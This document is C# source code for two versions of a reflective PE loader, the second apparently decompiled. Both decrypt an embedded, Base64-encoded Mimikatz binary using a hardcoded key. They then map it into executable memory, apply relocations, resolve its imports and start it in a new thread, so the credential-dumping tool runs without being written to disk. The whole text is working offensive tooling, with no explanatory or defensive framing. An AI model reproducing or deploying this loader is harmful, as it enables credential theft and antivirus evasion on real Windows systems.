public static void Exec() { byte[] latestMimikatz = null; try { //Use Misc Class to encrypt your own files if (IntPtr.Size == 8) { //x64 Unpack And Execute latestMimikatz = Misc.Decrypt(Convert.FromBase64String(Package.filex64), "password"); //Yes, this is a bad idea. } else if (IntPtr.Size == 4) { //x86 Unpack And Execute latestMimikatz = Misc.Decrypt(Convert.FromBase64String(Package.filex86), "password"); //Yes, this is a bad idea. } } catch (Exception ex) { while (ex != null) { Console.WriteLine(ex.Message); ex = ex.InnerException; } } Console.WriteLine("Downloaded Latest"); PELoader pe = new PELoader(latestMimikatz); IntPtr codebase = IntPtr.Zero; if (pe.Is32BitHeader) { Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4")); codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4")); } else { Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); } //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = NativeDeclarations.VirtualAlloc(IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } //Perform Base Relocation //Calculate Delta IntPtr currentbase = codebase; long delta; if (pe.Is32BitHeader) { delta = (int)(currentbase.ToInt32() - (int)pe.OptionalHeader32.ImageBase); } else { delta = (long)(currentbase.ToInt64() - (long)pe.OptionalHeader64.ImageBase); } Console.WriteLine("Delta = {0}", delta.ToString("X4")); //Modify Memory Based On Relocation Table IntPtr relocationTable; if (pe.Is32BitHeader) { relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress)); } else { relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); } NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = IntPtrAdd(relocationTable, sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtrAdd(codebase, (int)relocationEntry.VirtualAdress); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); switch (type) { case 0x0: break; case 0x3: patchAddr = IntPtrAdd(dest, fixup); //Add Delta To Location. int originalx86Addr = Marshal.ReadInt32(patchAddr); Marshal.WriteInt32(patchAddr, originalx86Addr + (int)delta); break; case 0xA: patchAddr = IntPtrAdd(dest, fixup); //Add Delta To Location. long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtrAdd(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtrAdd(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } //Resolve Imports IntPtr z; IntPtr oa1; int oa2; if (pe.Is32BitHeader) { z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader32.ImportTable.VirtualAddress); oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16)); } else { z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16)); } //Get And Display Each DLL To Load IntPtr threadStart; IntPtr hThread; if (pe.Is32BitHeader) { int j = 0; while (true) //HardCoded Number of DLL's Do this Dynamically. { IntPtr a1 = IntPtrAdd(codebase, (20 * j) + (int)pe.OptionalHeader32.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtrAdd(a1, 16)); IntPtr a2 = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); IntPtr dllNamePTR = (IntPtr)(IntPtrAdd(codebase, Marshal.ReadInt32(IntPtrAdd(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); int k = 0; while (true) { IntPtr dllFuncNamePTR = (IntPtrAdd(codebase, Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtrAdd(dllFuncNamePTR, 2)); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt32(a2, (int)funcAddy); a2 = IntPtrAdd(a2, 4); if (DllFuncName == "") { break; } k++; } j++; } //Transfer Control To OEP Console.WriteLine("Executing Mimikatz"); threadStart = IntPtrAdd(codebase, (int)pe.OptionalHeader32.AddressOfEntryPoint); hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); } else { int j = 0; while (true) { IntPtr a1 = IntPtrAdd(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtrAdd(a1, 16)); IntPtr a2 = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? IntPtr dllNamePTR = (IntPtr)(IntPtrAdd(codebase, Marshal.ReadInt32(IntPtrAdd(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); int k = 0; while (true) { IntPtr dllFuncNamePTR = (IntPtrAdd(codebase, Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtrAdd(dllFuncNamePTR, 2)); //Console.WriteLine("Function {0}", DllFuncName); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtrAdd(a2, 8); if (DllFuncName == "") { break; } k++; } j++; } //Transfer Control To OEP Console.WriteLine("Executing Mimikatz"); threadStart = IntPtrAdd(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); } //Transfer Control To OEP Console.WriteLine("Thread Complete"); //Console.ReadLine(); } //End Main
// Token: 0x06000003 RID: 3 RVA: 0x00002064 File Offset: 0x00000264 public static void Exec() { byte[] fileBytes = null; try { byte[] buffer = Misc.Decrypt(Convert.FromBase64String(Package.file), "password"); Stream stream = new MemoryStream(buffer); ZipArchive zipArchive = new ZipArchive(stream); foreach (ZipArchiveEntry current in zipArchive.Entries) { if (IntPtr.Size == 8 && current.FullName == "x64/mimikatz.exe") { Console.WriteLine(current.FullName); Stream input = current.Open(); fileBytes = Misc.ReadFully(input); } else if (IntPtr.Size == 4 && current.FullName == "Win32/mimikatz.exe") { Console.WriteLine(current.FullName); Stream input = current.Open(); fileBytes = Misc.ReadFully(input); } } } catch (Exception innerException) { while (innerException != null) { Console.WriteLine(innerException.Message); innerException = innerException.InnerException; } } Console.WriteLine("Downloaded Latest"); PELoader pELoader = new PELoader(fileBytes); IntPtr intPtr = IntPtr.Zero; if (pELoader.Is32BitHeader) { string arg_174_0 = "Preferred Load Address = {0}"; uint num = pELoader.OptionalHeader32.ImageBase; Console.WriteLine(arg_174_0, num.ToString("X4")); intPtr = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pELoader.OptionalHeader32.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); string arg_1C7_0 = "Allocated Space For {0} at {1}"; num = pELoader.OptionalHeader32.SizeOfImage; Console.WriteLine(arg_1C7_0, num.ToString("X4"), intPtr.ToString("X4")); } else { string arg_1F0_0 = "Preferred Load Address = {0}"; ulong imageBase = pELoader.OptionalHeader64.ImageBase; Console.WriteLine(arg_1F0_0, imageBase.ToString("X4")); intPtr = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pELoader.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); string arg_243_0 = "Allocated Space For {0} at {1}"; uint num = pELoader.OptionalHeader64.SizeOfImage; Console.WriteLine(arg_243_0, num.ToString("X4"), intPtr.ToString("X4")); } for (int i = 0; i < (int)pELoader.FileHeader.NumberOfSections; i++) { IntPtr destination = NativeDeclarations.VirtualAlloc(IntPtr.Add(intPtr, (int)pELoader.ImageSectionHeaders[i].VirtualAddress), pELoader.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pELoader.RawBytes, (int)pELoader.ImageSectionHeaders[i].PointerToRawData, destination, (int)pELoader.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pELoader.ImageSectionHeaders[i].Name), destination.ToString("X4")); } IntPtr intPtr2 = intPtr; long num2; if (pELoader.Is32BitHeader) { num2 = (long)(intPtr2.ToInt32() - (int)pELoader.OptionalHeader32.ImageBase); } else { num2 = intPtr2.ToInt64() - (long)pELoader.OptionalHeader64.ImageBase; } Console.WriteLine("Delta = {0}", num2.ToString("X4")); IntPtr intPtr3; if (pELoader.Is32BitHeader) { intPtr3 = IntPtr.Add(intPtr, (int)pELoader.OptionalHeader32.BaseRelocationTable.VirtualAddress); } else { intPtr3 = IntPtr.Add(intPtr, (int)pELoader.OptionalHeader64.BaseRelocationTable.VirtualAddress); } NativeDeclarations.IMAGE_BASE_RELOCATION iMAGE_BASE_RELOCATION = default(NativeDeclarations.IMAGE_BASE_RELOCATION); iMAGE_BASE_RELOCATION = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(intPtr3, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); int num3 = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr pointer = intPtr3; int num4 = (int)iMAGE_BASE_RELOCATION.SizeOfBlock; IntPtr ptr = intPtr3; NativeDeclarations.IMAGE_BASE_RELOCATION iMAGE_BASE_RELOCATION2; do { iMAGE_BASE_RELOCATION2 = default(NativeDeclarations.IMAGE_BASE_RELOCATION); IntPtr ptr2 = IntPtr.Add(intPtr3, num4); iMAGE_BASE_RELOCATION2 = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(ptr2, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr pointer2 = IntPtr.Add(intPtr, (int)iMAGE_BASE_RELOCATION.VirtualAdress); for (int i = 0; i < (int)(((ulong)iMAGE_BASE_RELOCATION.SizeOfBlock - (ulong)((long)num3)) / 2uL); i++) { ushort num5 = (ushort)Marshal.ReadInt16(ptr, 8 + 2 * i); ushort num6 = (ushort)(num5 >> 12); ushort offset = num5 & 4095; ushort num7 = num6; if (num7 != 0) { if (num7 != 3) { if (num7 == 10) { IntPtr ptr3 = IntPtr.Add(pointer2, (int)offset); long num8 = Marshal.ReadInt64(ptr3); Marshal.WriteInt64(ptr3, num8 + num2); } } else { IntPtr ptr3 = IntPtr.Add(pointer2, (int)offset); int num9 = Marshal.ReadInt32(ptr3); Marshal.WriteInt32(ptr3, num9 + (int)num2); } } } ptr = IntPtr.Add(intPtr3, num4); num4 += (int)iMAGE_BASE_RELOCATION2.SizeOfBlock; iMAGE_BASE_RELOCATION = iMAGE_BASE_RELOCATION2; pointer = IntPtr.Add(pointer, num4); }while (iMAGE_BASE_RELOCATION2.SizeOfBlock != 0u); int num10; if (pELoader.Is32BitHeader) { IntPtr intPtr4 = IntPtr.Add(intPtr, (int)pELoader.ImageSectionHeaders[1].VirtualAddress); IntPtr pointer3 = IntPtr.Add(intPtr, (int)pELoader.OptionalHeader32.ImportTable.VirtualAddress); num10 = Marshal.ReadInt32(IntPtr.Add(pointer3, 16)); } else { IntPtr intPtr4 = IntPtr.Add(intPtr, (int)pELoader.ImageSectionHeaders[1].VirtualAddress); IntPtr pointer3 = IntPtr.Add(intPtr, (int)pELoader.OptionalHeader64.ImportTable.VirtualAddress); num10 = Marshal.ReadInt32(IntPtr.Add(pointer3, 16)); } if (pELoader.Is32BitHeader) { int num11 = 0; while (true) { IntPtr pointer4 = IntPtr.Add(intPtr, 20 * num11 + (int)pELoader.OptionalHeader32.ImportTable.VirtualAddress); int num12 = Marshal.ReadInt32(IntPtr.Add(pointer4, 16)); IntPtr intPtr5 = IntPtr.Add(intPtr, (int)(pELoader.ImageSectionHeaders[1].VirtualAddress + (uint)(num12 - num10))); IntPtr ptr4 = IntPtr.Add(intPtr, Marshal.ReadInt32(IntPtr.Add(pointer4, 12))); string text = Marshal.PtrToStringAnsi(ptr4); if (text == "") { break; } IntPtr hModule = NativeDeclarations.LoadLibrary(text); Console.WriteLine("Loaded {0}", text); int num13 = 0; while (true) { IntPtr pointer5 = IntPtr.Add(intPtr, Marshal.ReadInt32(intPtr5)); string text2 = Marshal.PtrToStringAnsi(IntPtr.Add(pointer5, 2)); IntPtr procAddress = NativeDeclarations.GetProcAddress(hModule, text2); Marshal.WriteInt32(intPtr5, (int)procAddress); intPtr5 = IntPtr.Add(intPtr5, 4); if (text2 == "") { break; } num13++; } num11++; } Console.WriteLine("Executing Mimikatz"); IntPtr lpStartAddress = IntPtr.Add(intPtr, (int)pELoader.OptionalHeader32.AddressOfEntryPoint); IntPtr hHandle = NativeDeclarations.CreateThread(IntPtr.Zero, 0u, lpStartAddress, IntPtr.Zero, 0u, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hHandle, 4294967295u); Console.WriteLine("Thread Complete"); } else { int num11 = 0; while (true) { IntPtr pointer4 = IntPtr.Add(intPtr, 20 * num11 + (int)pELoader.OptionalHeader64.ImportTable.VirtualAddress); int num12 = Marshal.ReadInt32(IntPtr.Add(pointer4, 16)); IntPtr intPtr5 = IntPtr.Add(intPtr, (int)(pELoader.ImageSectionHeaders[1].VirtualAddress + (uint)(num12 - num10))); IntPtr ptr4 = IntPtr.Add(intPtr, Marshal.ReadInt32(IntPtr.Add(pointer4, 12))); string text = Marshal.PtrToStringAnsi(ptr4); if (text == "") { break; } IntPtr hModule = NativeDeclarations.LoadLibrary(text); Console.WriteLine("Loaded {0}", text); int num13 = 0; while (true) { IntPtr pointer5 = IntPtr.Add(intPtr, Marshal.ReadInt32(intPtr5)); string text2 = Marshal.PtrToStringAnsi(IntPtr.Add(pointer5, 2)); IntPtr procAddress = NativeDeclarations.GetProcAddress(hModule, text2); Marshal.WriteInt64(intPtr5, (long)procAddress); intPtr5 = IntPtr.Add(intPtr5, 8); if (text2 == "") { break; } num13++; } num11++; } Console.WriteLine("Executing Mimikatz"); IntPtr lpStartAddress = IntPtr.Add(intPtr, (int)pELoader.OptionalHeader64.AddressOfEntryPoint); IntPtr hHandle = NativeDeclarations.CreateThread(IntPtr.Zero, 0u, lpStartAddress, IntPtr.Zero, 0u, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hHandle, 4294967295u); Console.WriteLine("Thread Complete"); } Console.WriteLine("Thread Complete"); }